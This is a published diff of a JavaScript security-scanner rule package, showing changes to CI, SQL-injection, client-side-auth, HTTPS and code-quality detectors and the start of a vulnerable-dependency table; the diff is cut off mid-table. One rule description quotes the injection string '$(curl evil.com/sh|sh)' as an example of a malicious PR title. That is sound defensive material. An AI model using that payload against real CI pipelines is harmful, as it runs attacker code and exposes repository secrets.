xploitscan-shared-rules 2.1.0 → 2.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js CHANGED
@@ -260,7 +260,7 @@ var RULE_IMPACTS = {
260
260
  VC184: "pull_request_target with a checkout of the PR head is the canonical critical CI vulnerability \u2014 any forked PR can run code (install scripts, lint hooks, build steps) with your repo's write tokens and every secret in your environment, leading to repo takeover and secret exfiltration.",
261
261
  VC185: "permissions: write-all gives every step in the workflow full repo, packages, and deployments write access. A single compromised action \u2014 direct or transitive \u2014 can push commits, alter releases, and steal every secret the job has access to.",
262
262
  VC186: "A malicious PR title or commit message containing $(curl evil.com/sh|sh) gets executed as shell on your runner with your repo's secrets \u2014 same root cause as SQL injection, just in a CI context.",
263
- VC187: "Passing repo secrets via with: hands them to the action's source code and every dependency it pulls. The 2025 tj-actions/changed-files compromise stole CI secrets exactly this way; minimize what you pass and prefer pinning by SHA.",
263
+ VC187: "Passing repo secrets to a third-party action (through with:, the step's env:, or a reusable workflow's secrets:) hands them to its source code and every dependency it pulls. The 2025 tj-actions/changed-files compromise stole CI secrets exactly this way; minimize what you pass and prefer pinning by SHA.",
264
264
  VC188: "ADD auto-extracts archives and fetches URLs without integrity checks \u2014 both are foot-guns. Auto-extraction enables zip-slip; URL fetches break reproducibility and fetch whatever the upstream server hands back, even if compromised.",
265
265
  VC189: "RUN curl ... | sh executes whatever the upstream server returns at build time \u2014 no checksum, no pin. A compromise of the install host (or a subdomain takeover) bakes attacker code into your image with no audit trail.",
266
266
  VC190: "Without HEALTHCHECK, an orchestrator can't tell that a deadlocked or DB-pool-exhausted container is broken \u2014 it stays in the load balancer rotation serving 500s to users until a human notices and intervenes.",
@@ -1621,19 +1621,27 @@ function filterSilenced(matches, content, ruleId) {
1621
1621
  return matches.filter((m) => !isInlineSilenced(content, lineStartIndex(m.line), ruleId));
1622
1622
  }
1623
1623
  function findMatches(content, pattern, rule, filePath, fixTemplate) {
1624
- const matches = [];
1625
- let m;
1626
1624
  const re = new RegExp(pattern.source, pattern.flags.includes("g") ? pattern.flags : `${pattern.flags}g`);
1625
+ function* execAll() {
1626
+ let m;
1627
+ let lastMatchIndex = -1;
1628
+ while ((m = re.exec(content)) !== null) {
1629
+ if (m.index === lastMatchIndex && m[0].length === 0) {
1630
+ re.lastIndex++;
1631
+ continue;
1632
+ }
1633
+ lastMatchIndex = m.index;
1634
+ yield m;
1635
+ }
1636
+ }
1637
+ return findMatchesAt(content, execAll(), rule, filePath, fixTemplate);
1638
+ }
1639
+ function findMatchesAt(content, found, rule, filePath, fixTemplate) {
1640
+ const matches = [];
1627
1641
  let scanned = 0;
1628
1642
  let lineNum = 1;
1629
- let lastMatchIndex = -1;
1630
1643
  const MAX_MATCHES = 500;
1631
- while ((m = re.exec(content)) !== null) {
1632
- if (m.index === lastMatchIndex && m[0].length === 0) {
1633
- re.lastIndex++;
1634
- continue;
1635
- }
1636
- lastMatchIndex = m.index;
1644
+ for (const m of found) {
1637
1645
  if (isCommentLine(content, m.index)) continue;
1638
1646
  if (isInsideFixMessage(content, m.index)) continue;
1639
1647
  for (; scanned < m.index; scanned++) {
@@ -1894,7 +1902,7 @@ var exposedEnvFile = {
1894
1902
  category: "Secrets",
1895
1903
  description: ".env files containing secrets may be committed to version control.",
1896
1904
  check(content, filePath) {
1897
- if (!filePath.match(/\.env(?:\.[a-z]+)?$/) || filePath.includes("example")) return [];
1905
+ if (!filePath.match(/\.env(?:\.[a-z]+)?$/) || filePath.includes("example") || /\.env\.(?:sample|template)$/.test(filePath)) return [];
1898
1906
  const hasSecrets = /(?:KEY|SECRET|TOKEN|PASSWORD|PRIVATE|DATABASE_URL)\s*=/i.test(content);
1899
1907
  if (!hasSecrets) return [];
1900
1908
  return [{
@@ -2575,6 +2583,105 @@ function namesPlaceholderRun(content) {
2575
2583
  }
2576
2584
  return false;
2577
2585
  }
2586
+ function isLineTerminator(c) {
2587
+ return c === 10 || c === 13 || c === 8232 || c === 8233;
2588
+ }
2589
+ function quotedLiterals(content) {
2590
+ const literals = [];
2591
+ const failedUpTo = /* @__PURE__ */ new Map();
2592
+ for (let i = 0; i < content.length; i++) {
2593
+ const quote = content.charCodeAt(i);
2594
+ if (quote !== 39 && quote !== 34 && quote !== 96) continue;
2595
+ if (i < (failedUpTo.get(quote) ?? -1)) continue;
2596
+ let j = i + 1;
2597
+ let closed = false;
2598
+ while (j < content.length) {
2599
+ const c = content.charCodeAt(j);
2600
+ if (c === quote) {
2601
+ closed = true;
2602
+ break;
2603
+ }
2604
+ if (c === 92) {
2605
+ if (j + 1 >= content.length || isLineTerminator(content.charCodeAt(j + 1))) break;
2606
+ j += 2;
2607
+ continue;
2608
+ }
2609
+ if (c === 10 && quote !== 96) break;
2610
+ j++;
2611
+ }
2612
+ if (!closed) {
2613
+ failedUpTo.set(quote, j);
2614
+ continue;
2615
+ }
2616
+ literals.push(content.slice(i, j + 1));
2617
+ i = j;
2618
+ }
2619
+ return literals;
2620
+ }
2621
+ var SQL_VERB_RE = /\b(?:SELECT|INSERT|UPDATE|DELETE)\b/i;
2622
+ var SQL_CLAUSE_RE = /\b(?:FROM|INTO|SET|VALUES|WHERE)\b/gi;
2623
+ function isSqlStatement(lit) {
2624
+ const verb = SQL_VERB_RE.exec(lit);
2625
+ if (!verb) return false;
2626
+ SQL_CLAUSE_RE.lastIndex = verb.index + verb[0].length;
2627
+ return SQL_CLAUSE_RE.test(lit);
2628
+ }
2629
+ function* interpolatedSqlLiterals(content) {
2630
+ const opener = /["'`]\s*(?:SELECT|INSERT|UPDATE|DELETE)\b/gi;
2631
+ const literalBreak = /["'`\n]/g;
2632
+ const clauseRe = /\b(?:FROM|INTO|SET|VALUES|WHERE|JOIN|RETURNING)\b/i;
2633
+ let lineEnds = null;
2634
+ let lastOnLine = [];
2635
+ const parameterizedLater = (x) => {
2636
+ if (lineEnds === null) {
2637
+ const ends = [];
2638
+ for (let i = 0; i < content.length; i++) {
2639
+ if (isLineTerminator(content.charCodeAt(i))) ends.push(i);
2640
+ }
2641
+ ends.push(content.length);
2642
+ lastOnLine = new Array(ends.length).fill(-1);
2643
+ const word = /parameterized/gi;
2644
+ let line = 0;
2645
+ for (let w = word.exec(content); w !== null; w = word.exec(content)) {
2646
+ while (ends[line] < w.index) line++;
2647
+ lastOnLine[line] = w.index;
2648
+ }
2649
+ lineEnds = ends;
2650
+ }
2651
+ let lo = 0;
2652
+ let hi = lineEnds.length - 1;
2653
+ while (lo < hi) {
2654
+ const mid = lo + hi >> 1;
2655
+ if (lineEnds[mid] < x) lo = mid + 1;
2656
+ else hi = mid;
2657
+ }
2658
+ return lastOnLine[lo] >= x;
2659
+ };
2660
+ for (let m = opener.exec(content); m !== null; m = opener.exec(content)) {
2661
+ const start = m.index;
2662
+ const runStart = opener.lastIndex;
2663
+ literalBreak.lastIndex = runStart;
2664
+ const runEnd = literalBreak.exec(content)?.index ?? content.length;
2665
+ const run = content.slice(runStart, runEnd);
2666
+ const clause = clauseRe.exec(run);
2667
+ let matchEnd = -1;
2668
+ if (clause) {
2669
+ const clauseEnd = clause.index + clause[0].length;
2670
+ for (let d = run.lastIndexOf("${"); d >= clauseEnd; d = run.lastIndexOf("${", d - 1)) {
2671
+ if (!parameterizedLater(runStart + d + 2)) {
2672
+ matchEnd = runStart + d + 2;
2673
+ break;
2674
+ }
2675
+ }
2676
+ }
2677
+ if (matchEnd === -1) {
2678
+ opener.lastIndex = start + 1;
2679
+ continue;
2680
+ }
2681
+ yield { index: start };
2682
+ opener.lastIndex = matchEnd;
2683
+ }
2684
+ }
2578
2685
  var sqlInjection = {
2579
2686
  id: "VC006",
2580
2687
  title: "Potential SQL Injection",
@@ -2597,35 +2704,22 @@ var sqlInjection = {
2597
2704
  // allows the opposite quote type inside (common in SQL — "WHERE x = 'a'").
2598
2705
  // The older `[^"']*` class bailed out at the first inner quote and
2599
2706
  // missed every realistic SQL-containing concat.
2600
- /(?:query|execute|raw|sql|queryRaw|queryRawUnsafe|executeRaw|executeRawUnsafe)\s*\(\s*(?:"(?:[^"\\]|\\.)*"|'(?:[^'\\]|\\.)*')\s*\+/gi,
2601
- // Direct variable interpolation in a SQL string literal. Requires the
2602
- // verb to START a quoted/backtick literal AND be followed — within the
2603
- // same literal — by a SQL structural keyword (FROM/SET/WHERE/…), then a
2604
- // `${` interpolation. The structural keyword is what distinguishes a
2605
- // real query from ordinary prose: the previous pattern matched any
2606
- // SELECT/UPDATE/… word anywhere on a line followed by `${`, so UI copy
2607
- // like `UPDATE your profile settings ${name}` flagged as a CRITICAL SQL
2608
- // injection. Real queries ("SELECT … FROM …", "UPDATE … SET …") always
2609
- // carry a second structural keyword; sentences almost never do.
2610
- /["'`]\s*(?:SELECT|INSERT|UPDATE|DELETE)\b[^"'`\n]*\b(?:FROM|INTO|SET|VALUES|WHERE|JOIN|RETURNING)\b[^"'`\n]*\$\{(?!.*parameterized)/gi
2707
+ /(?:query|execute|raw|sql|queryRaw|queryRawUnsafe|executeRaw|executeRawUnsafe)\s*\(\s*(?:"(?:[^"\\]|\\.)*"|'(?:[^'\\]|\\.)*')\s*\+/gi
2611
2708
  ];
2612
2709
  const matches = [];
2613
- const sqlLiterals = (content.match(/'(?:[^'\\\n]|\\.)*'|"(?:[^"\\\n]|\\.)*"|`(?:[^`\\]|\\.)*`/g) ?? []).filter(
2614
- (lit) => /\b(?:SELECT|INSERT|UPDATE|DELETE)\b[\s\S]*\b(?:FROM|INTO|SET|VALUES|WHERE)\b/i.test(lit)
2615
- );
2710
+ const sqlLiterals = quotedLiterals(content).filter(isSqlStatement);
2616
2711
  const usesParams = /\bprepare\b/i.test(content) || sqlLiterals.some((lit) => /\?\s*,|\?[^?,;]{1,20}\?|\$\d+|:[A-Za-z_]\w*|@[A-Za-z_]\w*|=\s*\?/.test(lit));
2617
- const code = content.replace(/\/\*[\s\S]*?\*\//g, " ").replace(/(^|[^:"'`\\])\/\/.*$/gm, "$1");
2712
+ const code = replaceBlockComments(content, () => " ").replace(/(^|[^:"'`\\])\/\/.*$/gm, "$1");
2618
2713
  if (usesParams || namesPlaceholderRun(code)) return [];
2619
- for (const pattern of patterns) {
2620
- const raw = findMatches(
2621
- content,
2622
- pattern,
2623
- sqlInjection,
2624
- filePath,
2625
- () => "Use parameterized queries or prepared statements instead of string interpolation. Example: db.query('SELECT * FROM users WHERE id = ?', [userId])"
2626
- );
2714
+ const fix = () => "Use parameterized queries or prepared statements instead of string interpolation. Example: db.query('SELECT * FROM users WHERE id = ?', [userId])";
2715
+ const raws = [
2716
+ ...patterns.map((pattern) => findMatches(content, pattern, sqlInjection, filePath, fix)),
2717
+ findMatchesAt(content, interpolatedSqlLiterals(content), sqlInjection, filePath, fix)
2718
+ ];
2719
+ let lines;
2720
+ for (const raw of raws) {
2627
2721
  for (const m of raw) {
2628
- const lineText = content.split("\n")[m.line - 1] || "";
2722
+ const lineText = (lines ??= content.split("\n"))[m.line - 1] || "";
2629
2723
  if (/\bPrisma\.sql\s*`/.test(lineText)) continue;
2630
2724
  if (/\bsql\s*`/.test(lineText) && !/\bsql\.raw\s*\(/.test(lineText)) continue;
2631
2725
  if (/\$queryRaw\s*\(\s*Prisma\.sql|\$executeRaw\s*\(\s*Prisma\.sql/.test(lineText)) continue;
@@ -2812,6 +2906,116 @@ var corsWildcard = {
2812
2906
  return matches;
2813
2907
  }
2814
2908
  };
2909
+ function firstAtOrAfter(sorted, x) {
2910
+ let lo = 0, hi = sorted.length;
2911
+ while (lo < hi) {
2912
+ const mid = lo + hi >>> 1;
2913
+ if (sorted[mid] < x) lo = mid + 1;
2914
+ else hi = mid;
2915
+ }
2916
+ return lo;
2917
+ }
2918
+ function vc010RoleTests(content, vue) {
2919
+ const out = [];
2920
+ const candidate = /isadmin|role/gi;
2921
+ const roleEq = vue ? /role\s*===?\s*'admin'/iy : /role\s*===?\s*["'`]admin["'`]/iy;
2922
+ for (let m = candidate.exec(content); m !== null; m = candidate.exec(content)) {
2923
+ const q = m.index;
2924
+ if (m[0].length === 7) {
2925
+ out.push({ start: q, end: q + 7 });
2926
+ continue;
2927
+ }
2928
+ if (!vue && q >= 5 && content.slice(q - 5, q).toLowerCase() === "user.") {
2929
+ out.push({ start: q - 5, end: q + 4 });
2930
+ }
2931
+ roleEq.lastIndex = q;
2932
+ if (roleEq.test(content)) out.push({ start: q, end: roleEq.lastIndex });
2933
+ }
2934
+ return out;
2935
+ }
2936
+ function vc010LineEnd(content) {
2937
+ const breaks = [];
2938
+ for (let i = 0; i < content.length; i++) {
2939
+ const c = content.charCodeAt(i);
2940
+ if (c === 10 || c === 13 || c === 8232 || c === 8233) breaks.push(i);
2941
+ }
2942
+ return (x) => {
2943
+ const i = firstAtOrAfter(breaks, x);
2944
+ return i < breaks.length ? breaks[i] : content.length;
2945
+ };
2946
+ }
2947
+ function vc010JsxGateStarts(content) {
2948
+ const tests = vc010RoleTests(content, false);
2949
+ if (tests.length === 0) return [];
2950
+ const lineEnd = vc010LineEnd(content);
2951
+ const ands = [];
2952
+ for (let a = content.indexOf("&&"); a !== -1; a = content.indexOf("&&", a + 1)) ands.push(a);
2953
+ const starts = [];
2954
+ let pos = 0;
2955
+ let lo = 0;
2956
+ for (; ; ) {
2957
+ const open = content.indexOf("{", pos);
2958
+ if (open === -1) break;
2959
+ const end = lineEnd(open);
2960
+ while (lo < tests.length && tests[lo].start <= open) lo++;
2961
+ let hi = lo;
2962
+ while (hi < tests.length && tests[hi].start < end) hi++;
2963
+ let matchEnd = -1;
2964
+ for (let k = hi - 1; k >= lo && matchEnd === -1; k--) {
2965
+ const e = tests[k].end;
2966
+ const i = firstAtOrAfter(ands, lineEnd(e) - 1) - 1;
2967
+ if (i >= 0 && ands[i] >= e) matchEnd = ands[i] + 2;
2968
+ }
2969
+ if (matchEnd === -1) {
2970
+ pos = end + 1;
2971
+ continue;
2972
+ }
2973
+ starts.push(open);
2974
+ pos = matchEnd;
2975
+ }
2976
+ return starts;
2977
+ }
2978
+ function vc010VueGateStarts(content) {
2979
+ const tests = vc010RoleTests(content, true);
2980
+ if (tests.length === 0) return [];
2981
+ const testStarts = tests.map((t) => t.start);
2982
+ const lineEnd = vc010LineEnd(content);
2983
+ const vIf = /v-if/gi;
2984
+ const attr = /v-if\s*=\s*["'`]/iy;
2985
+ const starts = [];
2986
+ for (let m = vIf.exec(content); m !== null; m = vIf.exec(content)) {
2987
+ attr.lastIndex = m.index;
2988
+ if (!attr.test(content)) continue;
2989
+ const valueStart = attr.lastIndex;
2990
+ const end = lineEnd(valueStart);
2991
+ const k = firstAtOrAfter(testStarts, end) - 1;
2992
+ if (k < 0 || tests[k].start < valueStart) continue;
2993
+ starts.push(m.index);
2994
+ vIf.lastIndex = tests[k].end;
2995
+ }
2996
+ return starts;
2997
+ }
2998
+ function vc010Findings(content, filePath, starts, fix) {
2999
+ const out = [];
3000
+ let scanned = 0;
3001
+ let line = 1;
3002
+ for (const index of starts) {
3003
+ if (isCommentLine(content, index) || isInsideFixMessage(content, index)) continue;
3004
+ for (; scanned < index; scanned++) if (content.charCodeAt(scanned) === 10) line++;
3005
+ out.push({
3006
+ rule: clientSideAuth.id,
3007
+ title: clientSideAuth.title,
3008
+ severity: clientSideAuth.severity,
3009
+ category: clientSideAuth.category,
3010
+ file: filePath,
3011
+ line,
3012
+ snippet: getSnippet(content, line),
3013
+ fix
3014
+ });
3015
+ if (out.length >= 500) break;
3016
+ }
3017
+ return out;
3018
+ }
2815
3019
  var clientSideAuth = {
2816
3020
  id: "VC010",
2817
3021
  title: "Client-Side Only Authorization",
@@ -2820,25 +3024,13 @@ var clientSideAuth = {
2820
3024
  description: "Hiding UI elements based on roles without server-side checks lets attackers bypass restrictions using DevTools.",
2821
3025
  check(content, filePath) {
2822
3026
  if (!filePath.match(/\.(jsx|tsx|vue|svelte)$/)) return [];
2823
- const matches = [];
2824
- const rolePatterns = [
2825
- /\{.*(?:isAdmin|role\s*===?\s*["'`]admin["'`]|user\.role).*&&/gi,
2826
- /v-if\s*=\s*["'`].*(?:isAdmin|role\s*===?\s*'admin')/gi
3027
+ if (/getServerSession|(?<!\.auth\.)getUser|server|api\/auth|middleware|\bawait\s+auth\s*\(\s*\)(?!\s*\.)/i.test(content)) return [];
3028
+ if (/\bexport\s+default\s+async\s+function\b|\basync\s+function\s+[A-Z]\w*\s*\(|\bconst\s+[A-Z]\w*\s*(?::[^=\n]{1,80})?=\s*async\s*\(|\bexport\s+(?:async\s+function|const)\s+(?:loader|action)\b|["']next\/headers["']|\bclerkClient\b|firebase-admin/.test(content)) return [];
3029
+ const fix = "Client-side role checks only hide UI \u2014 they don't prevent access. Always verify permissions on the server/API side too.";
3030
+ return [
3031
+ ...vc010Findings(content, filePath, vc010JsxGateStarts(content), fix),
3032
+ ...vc010Findings(content, filePath, vc010VueGateStarts(content), fix)
2827
3033
  ];
2828
- for (const pattern of rolePatterns) {
2829
- const hasServerCheck = /getServerSession|getUser|server|api\/auth|middleware/i.test(content);
2830
- if (hasServerCheck) continue;
2831
- matches.push(
2832
- ...findMatches(
2833
- content,
2834
- pattern,
2835
- clientSideAuth,
2836
- filePath,
2837
- () => "Client-side role checks only hide UI \u2014 they don't prevent access. Always verify permissions on the server/API side too."
2838
- )
2839
- );
2840
- }
2841
- return matches;
2842
3034
  }
2843
3035
  };
2844
3036
  var PUBLIC_ENV_FIX = {
@@ -2908,6 +3100,7 @@ var envNotGitignored = {
2908
3100
  description: "If .env is not listed in .gitignore, secrets will be committed to version control.",
2909
3101
  check(content, filePath) {
2910
3102
  if (!filePath.endsWith(".gitignore")) return [];
3103
+ if (/(?:^|\/)(?:android|ios)\//.test(filePath)) return [];
2911
3104
  if (/\.env/i.test(content)) return [];
2912
3105
  return [{
2913
3106
  rule: "VC014",
@@ -3162,10 +3355,13 @@ var missingHTTPS = {
3162
3355
  category: "Configuration",
3163
3356
  description: "Hardcoded http:// URLs (other than localhost and private-network addresses) send data unencrypted, exposing it to man-in-the-middle attacks.",
3164
3357
  check(content, filePath) {
3165
- if (filePath.endsWith(".example") || filePath.includes("test") || filePath.includes("README")) return [];
3358
+ const baseName = filePath.slice(filePath.lastIndexOf("/") + 1);
3359
+ const isTestPath = /(?:^|\/)(?:__tests__|tests?|testdata|testing|test[-_]?(?:utils?|helpers?|support))\//i.test(filePath) || /^(?:tests?(?![a-z])|conftest\.py$|setupTests\.)|[._-]tests?\.\w+$|\.spec\.\w+$|_spec\.rb$/.test(baseName);
3360
+ if (filePath.endsWith(".example") || isTestPath || filePath.includes("README")) return [];
3166
3361
  if (filePath.match(/\.(md|txt)$/)) return [];
3167
3362
  const matches = [];
3168
- if (/<!DOCTYPE|xmlns|\.dtd|\.xsd/i.test(content) && !/fetch|axios|request|http\.get/i.test(content)) return [];
3363
+ const isScriptFile = /\.(?:[cm]?[jt]sx?|vue|svelte)$/i.test(filePath);
3364
+ if (!isScriptFile && /<!DOCTYPE|xmlns|\.dtd|\.xsd/i.test(content) && !/fetch|axios|request|http\.get/i.test(content)) return [];
3169
3365
  const httpPattern = /["'`]http:\/\/(?!localhost|127\.0\.0\.1|0\.0\.0\.0|192\.168\.|10\.|172\.(?:1[6-9]|2\d|3[01])\.|www\.w3\.org|www\.apple\.com\/DTDs|schemas?\.|xml\.org|purl\.org|ns\.adobe|xmlpull\.org|java\.sun\.com)[^"'`\s]+["'`]/g;
3170
3366
  const rawMatches = findMatches(
3171
3367
  content,
@@ -3174,11 +3370,10 @@ var missingHTTPS = {
3174
3370
  filePath,
3175
3371
  () => "Use https:// instead of http:// for all production URLs. Add HSTS header: Strict-Transport-Security: max-age=31536000; includeSubDomains"
3176
3372
  );
3373
+ const lines = rawMatches.length > 0 ? content.split("\n") : [];
3177
3374
  for (const rm of rawMatches) {
3178
- const lineStart = content.lastIndexOf("\n", content.split("\n").slice(0, rm.line - 1).join("\n").length) + 1;
3179
- const lineEnd = content.indexOf("\n", lineStart + 1);
3180
- const matchText = content.substring(lineStart, lineEnd === -1 ? content.length : lineEnd);
3181
- if (/DTD|DOCTYPE|w3\.org|apple\.com\/DTDs/i.test(matchText)) continue;
3375
+ const matchText = lines[rm.line - 1] ?? "";
3376
+ if (/DTD|DOCTYPE|w3\.org|apple\.com\/DTDs|\bxmlns[\w:-]*\s*=/i.test(matchText)) continue;
3182
3377
  matches.push(rm);
3183
3378
  }
3184
3379
  return matches;
@@ -3334,6 +3529,7 @@ var missingLockFile = {
3334
3529
  description: "Without a lockfile (package-lock.json, pnpm-lock.yaml, yarn.lock), dependency versions are unpinned and vulnerable to supply chain attacks via version substitution.",
3335
3530
  check(content, filePath) {
3336
3531
  if (!filePath.endsWith(".gitignore")) return [];
3532
+ if (/^[ \t]*![^\n]*(?:package-lock\.json|pnpm-lock\.yaml|yarn\.lock)/im.test(content)) return [];
3337
3533
  const ignoresLock = /package-lock\.json|pnpm-lock\.yaml|yarn\.lock/i.test(content);
3338
3534
  if (ignoresLock) {
3339
3535
  return findMatches(
@@ -3435,7 +3631,7 @@ var dangerousInnerHTML = {
3435
3631
  if (!filePath.match(/\.(jsx|tsx)$/)) return [];
3436
3632
  if (isTestFile(filePath)) return [];
3437
3633
  if (!/dangerouslySetInnerHTML/i.test(content)) return [];
3438
- const codeOnly = content.replace(/\/\*[\s\S]*?\*\//g, "").replace(/(^|[^:])\/\/.*$/gm, "$1").replace(/\{\s*\/\*[\s\S]*?\*\/\s*\}/g, "");
3634
+ const codeOnly = replaceBlockComments(content, () => "").replace(/(^|[^:])\/\/.*$/gm, "$1").replace(/\{\s*\/\*[\s\S]*?\*\/\s*\}/g, "");
3439
3635
  const hasSanitize = /\b(?:DOMPurify|sanitizeHtml|sanitize-html|isomorphic-dompurify)\b|\b(?:sanitize|purify|xss)\s*\(/i.test(codeOnly);
3440
3636
  if (hasSanitize) return [];
3441
3637
  const findings = [];
@@ -3895,7 +4091,7 @@ var consoleLogProduction = {
3895
4091
  for (let i = 0; i < lines.length; i++) {
3896
4092
  const line = lines[i].trim();
3897
4093
  if (/console\.log\s*\(/.test(line) && !line.startsWith("//") && !line.startsWith("*") && !/if\s*\(\s*(?:debug|process\.env)/i.test(lines[Math.max(0, i - 1)] + line)) {
3898
- matches.push({ rule: "VC097", title: consoleLogProduction.title, severity: "low", category: "Performance", file: filePath, line: i + 1, snippet: getSnippet(content, i + 1), fix: "Remove console.log or use a structured logger that can be disabled in production." });
4094
+ matches.push({ rule: "VC097", title: consoleLogProduction.title, severity: consoleLogProduction.severity, category: "Performance", file: filePath, line: i + 1, snippet: getSnippet(content, i + 1), fix: "Remove console.log or use a structured logger that can be disabled in production." });
3899
4095
  }
3900
4096
  }
3901
4097
  return matches.slice(0, 1);
@@ -3909,13 +4105,34 @@ var todoLeftInCode = {
3909
4105
  description: "TODO, FIXME, HACK, and XXX comments indicate unfinished work that should be resolved before shipping to production.",
3910
4106
  check(content, filePath) {
3911
4107
  if (filePath.match(/test|spec|mock|__tests__|fixture|node_modules/i)) return [];
3912
- return findMatches(
3913
- content,
3914
- /\/\/\s*(?:TODO|FIXME|HACK|XXX)\b/gi,
3915
- todoLeftInCode,
3916
- filePath,
3917
- () => "Resolve TODO/FIXME comments before shipping. If it's intentional tech debt, track it in your issue tracker instead."
3918
- ).slice(0, 5);
4108
+ if (/\.(?:md|mdx|markdown|txt)$/i.test(filePath)) return [];
4109
+ const marker = /(?<![`'":])(?:\/\/|\/\*\*?|^[ \t]*\*+)[ \t]*(?:(?:TODO|FIXME|HACK)\b|XXX(?![\w.-])|(?:[Tt]odo|[Ff]ixme)[ \t]*:|@todo\b)/gm;
4110
+ const matches = [];
4111
+ let todoDomain;
4112
+ let lastLine = 0;
4113
+ for (let m = marker.exec(content); m && matches.length < 5; m = marker.exec(content)) {
4114
+ const line = lineNumberAt(content, m.index);
4115
+ if (line === lastLine) continue;
4116
+ lastLine = line;
4117
+ if (/^[^@]*[Tt]odo[ \t]*:$/.test(m[0])) {
4118
+ const lineStart = content.lastIndexOf("\n", m.index) + 1;
4119
+ if (content.slice(lineStart, m.index).trim() === "") {
4120
+ if (todoDomain === void 0) todoDomain = /\b[Tt]odos?\b/.test(maskComments(content));
4121
+ if (todoDomain) continue;
4122
+ }
4123
+ }
4124
+ matches.push({
4125
+ rule: todoLeftInCode.id,
4126
+ title: todoLeftInCode.title,
4127
+ severity: todoLeftInCode.severity,
4128
+ category: todoLeftInCode.category,
4129
+ file: filePath,
4130
+ line,
4131
+ snippet: getSnippet(content, line),
4132
+ fix: "Resolve TODO/FIXME comments before shipping. If it's intentional tech debt, track it in your issue tracker instead."
4133
+ });
4134
+ }
4135
+ return matches;
3919
4136
  }
3920
4137
  };
3921
4138
  var emptyCatchBlock = {
@@ -3930,13 +4147,11 @@ var emptyCatchBlock = {
3930
4147
  description: "Empty catch blocks silently swallow errors, making bugs impossible to diagnose. At minimum, log the error.",
3931
4148
  check(content, filePath) {
3932
4149
  if (filePath.match(/test|spec|mock/i)) return [];
3933
- return findMatches(
3934
- content,
3935
- /catch\s*(?:\([^)]*\))?\s*\{\s*\}/g,
3936
- emptyCatchBlock,
3937
- filePath,
3938
- () => "Handle errors in catch blocks: catch(err) { console.error('Operation failed:', err); } or re-throw if appropriate."
3939
- );
4150
+ const fix = () => "Handle errors in catch blocks: catch(err) { console.error('Operation failed:', err); } or re-throw if appropriate.";
4151
+ const blocks = findMatches(content, /catch\s*(?:\([^)]{0,200}\))?\s*\{\s*\}/g, emptyCatchBlock, filePath, fix);
4152
+ const seen = new Set(blocks.map((m) => m.line));
4153
+ const promises = findMatches(content, /\.catch\s*\(\s*(?:async\s*)?(?:\(\s*[\w$]*\s*(?::\s*[\w$]+\s*)?\)|[\w$]+)\s*=>\s*\{\s*\}\s*\)/g, emptyCatchBlock, filePath, fix).filter((m) => !seen.has(m.line));
4154
+ return [...blocks, ...promises].slice(0, 500);
3940
4155
  }
3941
4156
  };
3942
4157
  var freeRules = [
@@ -4502,6 +4717,778 @@ function scanEntropy(files) {
4502
4717
  return findings;
4503
4718
  }
4504
4719
 
4720
+ // src/engines/dependency-scanner.ts
4721
+ var KNOWN_VULN_NPM = {
4722
+ "lodash": [{
4723
+ minSafe: "4.17.21",
4724
+ cve: "CVE-2021-23337",
4725
+ severity: "critical",
4726
+ title: "Lodash Prototype Pollution",
4727
+ description: "lodash before 4.17.21 is vulnerable to prototype pollution via set, setWith, and zipObjectDeep.",
4728
+ fix: "Upgrade lodash to >= 4.17.21: npm install lodash@latest"
4729
+ }],
4730
+ "axios": [{
4731
+ minSafe: "1.6.0",
4732
+ cve: "CVE-2023-45857",
4733
+ severity: "high",
4734
+ title: "Axios CSRF Vulnerability",
4735
+ description: "axios before 1.6.0 inadvertently leaks XSRF-TOKEN cookie in cross-site requests.",
4736
+ fix: "Upgrade axios to >= 1.6.0: npm install axios@latest"
4737
+ }],
4738
+ "express": [{
4739
+ minSafe: "4.19.2",
4740
+ cve: "CVE-2024-29041",
4741
+ severity: "medium",
4742
+ title: "Express Open Redirect",
4743
+ description: "Express before 4.19.2 is vulnerable to open redirect via crafted URLs.",
4744
+ fix: "Upgrade express to >= 4.19.2: npm install express@latest"
4745
+ }],
4746
+ "jsonwebtoken": [{
4747
+ minSafe: "9.0.0",
4748
+ cve: "CVE-2022-23529",
4749
+ severity: "high",
4750
+ title: "jsonwebtoken Insecure Key Handling",
4751
+ description: "jsonwebtoken before 9.0.0 allows attackers to set secretOrPublicKey to a malicious object.",
4752
+ fix: "Upgrade jsonwebtoken to >= 9.0.0: npm install jsonwebtoken@latest"
4753
+ }],
4754
+ "node-fetch": [{
4755
+ minSafe: "2.6.7",
4756
+ cve: "CVE-2022-0235",
4757
+ severity: "high",
4758
+ title: "node-fetch Header Exposure",
4759
+ description: "node-fetch before 2.6.7 exposes authorization headers on redirect to different origin.",
4760
+ fix: "Upgrade node-fetch to >= 2.6.7 or switch to native fetch (Node 18+)."
4761
+ }],
4762
+ "minimatch": [{
4763
+ minSafe: "3.0.5",
4764
+ cve: "CVE-2022-3517",
4765
+ severity: "high",
4766
+ title: "Minimatch ReDoS",
4767
+ description: "minimatch before 3.0.5 is vulnerable to Regular Expression Denial of Service.",
4768
+ fix: "Upgrade minimatch to >= 3.0.5: npm install minimatch@latest"
4769
+ }],
4770
+ "moment": [{
4771
+ minSafe: "999.0.0",
4772
+ cve: "N/A",
4773
+ severity: "medium",
4774
+ title: "Moment.js is Deprecated",
4775
+ description: "moment.js is in maintenance mode with known path traversal issues. Consider alternatives.",
4776
+ fix: "Migrate to date-fns, dayjs, or Temporal API. See: https://momentjs.com/docs/#/-project-status/"
4777
+ }],
4778
+ "request": [{
4779
+ minSafe: "999.0.0",
4780
+ cve: "N/A",
4781
+ severity: "medium",
4782
+ title: "Request Package Deprecated",
4783
+ description: "The 'request' package is deprecated and no longer receives security updates.",
4784
+ fix: "Migrate to node-fetch, axios, got, or native fetch (Node 18+)."
4785
+ }],
4786
+ "underscore": [{
4787
+ minSafe: "1.13.6",
4788
+ cve: "CVE-2021-23358",
4789
+ severity: "high",
4790
+ title: "Underscore.js Arbitrary Code Execution",
4791
+ description: "underscore before 1.13.6 allows arbitrary code execution via the template function.",
4792
+ fix: "Upgrade underscore to >= 1.13.6 or migrate to lodash."
4793
+ }],
4794
+ "tar": [{
4795
+ minSafe: "6.2.1",
4796
+ cve: "CVE-2024-28863",
4797
+ severity: "high",
4798
+ title: "Tar Path Traversal",
4799
+ description: "tar before 6.2.1 is vulnerable to denial of service via crafted archives.",
4800
+ fix: "Upgrade tar to >= 6.2.1: npm install tar@latest"
4801
+ }],
4802
+ "semver": [{
4803
